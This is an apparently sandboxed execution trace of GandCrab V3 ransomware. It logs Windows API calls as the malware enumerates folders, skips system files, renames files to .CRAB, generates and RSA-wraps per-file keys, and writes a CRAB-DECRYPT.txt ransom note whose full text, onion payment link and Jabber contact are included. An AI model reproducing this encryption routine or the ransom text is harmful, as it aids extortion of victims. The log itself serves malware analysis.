	[0125.932] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0125.933] ReadFile (in: hFile=0x3f8, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314a9cc, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314a9cc*=0xebca, lpOverlapped=0x0) returned 1
	[0125.947] VirtualAlloc (lpAddress=0x0, dwSize=0xebd0, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0125.948] VirtualAlloc (lpAddress=0x0, dwSize=0xebd0, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0125.950] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.950] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xffff1436, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.950] WriteFile (in: hFile=0x3f8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0xebd0, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314a9bc*=0xebd0, lpOverlapped=0x0) returned 1
	[0125.951] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.951] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.955] WriteFile (in: hFile=0x3f8, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0125.955] WriteFile (in: hFile=0x3f8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0125.955] WriteFile (in: hFile=0x3f8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314a9bc*=0x8, lpOverlapped=0x0) returned 1
	[0125.955] CloseHandle (hObject=0x3f8) returned 1
	[0125.955] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.955] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.956] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.956] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.956] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.956] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.957] FindNextFileW (in: hFindFile=0x31588c0, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0125.957] lstrcmpW (lpString1="rjTyTcqxR", lpString2=".") returned 1
	[0125.957] lstrcmpW (lpString1="rjTyTcqxR", lpString2="..") returned 1
	[0125.957] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\", lpString2="rjTyTcqxR" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR"
	[0125.957] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\"
	[0125.957] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0125.957] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0125.957] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0125.957] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0125.957] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0125.957] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.958] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3149f70, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0125.958] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0125.958] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0125.958] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3149758, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0125.958] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0125.958] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0125.958] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0125.958] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\\\CRAB-DECRYPT.txt") returned 101
	[0125.958] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\lxpplrs8f\\idnxkfceyo\\rjtytcqxr\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0125.959] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0125.959] WriteFile (in: hFile=0x3f8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x3149f54, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x3149f54*=0xcce, lpOverlapped=0x0) returned 1
	[0125.960] CloseHandle (hObject=0x3f8) returned 1
	[0125.960] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.960] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\") returned 84
	[0125.961] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\*"
	[0125.961] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\*", lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 0x3158b00
	[0125.961] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0125.961] FindNextFileW (in: hFindFile=0x3158b00, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0125.961] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0125.961] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0125.961] FindNextFileW (in: hFindFile=0x3158b00, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0125.961] lstrcmpW (lpString1="0p9klFMeAEeCug.png", lpString2=".") returned 1
	[0125.961] lstrcmpW (lpString1="0p9klFMeAEeCug.png", lpString2="..") returned 1
	[0125.961] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\", lpString2="0p9klFMeAEeCug.png" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\0p9klFMeAEeCug.png") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\0p9klFMeAEeCug.png"
	[0125.961] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0125.961] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\0p9klFMeAEeCug.png") returned 102
	[0125.961] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\0p9klFMeAEeCug.png") returned 102
	[0125.961] lstrlenW (lpString=".png") returned 4
	[0125.962] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0125.962] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".png ") returned 5
	[0125.962] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.962] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\0p9klFMeAEeCug.png") returned 102
	[0125.962] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\0p9klFMeAEeCug.png") returned 102
	[0125.962] lstrcmpiW (lpString1="0p9klFMeAEeCug.png", lpString2="desktop.ini") returned -1
	[0125.962] lstrcmpiW (lpString1="0p9klFMeAEeCug.png", lpString2="autorun.inf") returned -1
	[0125.962] lstrcmpiW (lpString1="0p9klFMeAEeCug.png", lpString2="ntuser.dat") returned -1
	[0125.962] lstrcmpiW (lpString1="0p9klFMeAEeCug.png", lpString2="iconcache.db") returned -1
	[0125.962] lstrcmpiW (lpString1="0p9klFMeAEeCug.png", lpString2="bootsect.bak") returned -1
	[0125.962] lstrcmpiW (lpString1="0p9klFMeAEeCug.png", lpString2="boot.ini") returned -1
	[0125.962] lstrcmpiW (lpString1="0p9klFMeAEeCug.png", lpString2="ntuser.dat.log") returned -1
	[0125.963] lstrcmpiW (lpString1="0p9klFMeAEeCug.png", lpString2="thumbs.db") returned -1
	[0125.963] lstrcmpiW (lpString1="0p9klFMeAEeCug.png", lpString2="CRAB-DECRYPT.txt") returned -1
	[0125.963] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0125.963] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\0p9klFMeAEeCug.png.CRAB") returned 107
	[0125.963] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\0p9klFMeAEeCug.png" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\lxpplrs8f\\idnxkfceyo\\rjtytcqxr\\0p9klfmeaeecug.png")) returned 0x20
	[0125.963] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\0p9klFMeAEeCug.png", dwFileAttributes=0x20) returned 1
	[0125.964] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\0p9klFMeAEeCug.png" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\lxpplrs8f\\idnxkfceyo\\rjtytcqxr\\0p9klfmeaeecug.png"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\0p9klFMeAEeCug.png.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\lxpplrs8f\\idnxkfceyo\\rjtytcqxr\\0p9klfmeaeecug.png.crab")) returned 1
	[0125.965] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0125.965] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\0p9klFMeAEeCug.png.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\0p9klFMeAEeCug.png.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\0p9klFMeAEeCug.png.CRAB"
	[0125.965] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\0p9klFMeAEeCug.png.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\0p9klFMeAEeCug.png.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\0p9klFMeAEeCug.png.CRAB.CRAB"
	[0125.965] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e7c0) returned 1
	[0125.966] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0125.966] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0125.966] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0125.966] CryptGenRandom (in: hProv=0xd6e7c0, dwLen=0x10, pbBuffer=0x3149ecc | out: pbBuffer=0x3149ecc) returned 1
	[0125.966] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0125.966] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.967] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e6b0) returned 1
	[0125.967] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0125.967] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0125.968] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0125.968] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x20, pbBuffer=0x3149ea8 | out: pbBuffer=0x3149ea8) returned 1
	[0125.968] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0125.968] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.968] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0125.968] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0125.969] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e408) returned 1
	[0125.969] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0x3158b40) returned 1
	[0125.969] CryptGetKeyParam (in: hKey=0x3158b40, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0125.969] CryptEncrypt (in: hKey=0x3158b40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x3149edc*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x3149edc*=0x100) returned 1
	[0125.969] GetLastError () returned 0x0
	[0125.969] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0125.970] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e408) returned 1
	[0125.970] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0x3158c80) returned 1
	[0125.970] CryptGetKeyParam (in: hKey=0x3158c80, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0125.970] CryptEncrypt (in: hKey=0x3158c80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x3149ee0*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x3149ee0*=0x100) returned 1
	[0125.970] GetLastError () returned 0x0
	[0125.971] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0125.971] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\0p9klFMeAEeCug.png.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\lxpplrs8f\\idnxkfceyo\\rjtytcqxr\\0p9klfmeaeecug.png.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0125.973] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0125.973] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0125.973] ReadFile (in: hFile=0x3e0, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x3149f24*=0x9892, lpOverlapped=0x0) returned 1
	[0125.986] VirtualAlloc (lpAddress=0x0, dwSize=0x98a0, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0125.987] VirtualAlloc (lpAddress=0x0, dwSize=0x98a0, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0125.988] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.988] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xffff676e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.989] WriteFile (in: hFile=0x3e0, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x98a0, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3149f14*=0x98a0, lpOverlapped=0x0) returned 1
	[0125.989] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.989] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.993] WriteFile (in: hFile=0x3e0, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0125.993] WriteFile (in: hFile=0x3e0, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0125.993] WriteFile (in: hFile=0x3e0, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x3149f14*=0x8, lpOverlapped=0x0) returned 1
	[0125.993] CloseHandle (hObject=0x3e0) returned 1
	[0125.993] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.994] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.994] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.994] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.996] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.996] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.996] FindNextFileW (in: hFindFile=0x3158b00, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0125.996] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0125.996] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0125.996] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\CRAB-DECRYPT.txt"
	[0125.996] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0125.997] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\CRAB-DECRYPT.txt") returned 100
	[0125.997] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\CRAB-DECRYPT.txt") returned 100
	[0125.997] lstrlenW (lpString=".txt") returned 4
	[0125.997] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0125.997] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0125.997] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0125.997] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\CRAB-DECRYPT.txt") returned 100
	[0125.997] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\rjTyTcqxR\\CRAB-DECRYPT.txt") returned 100
	[0125.997] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0125.997] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0125.997] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0125.998] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0125.998] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0125.998] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0125.998] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
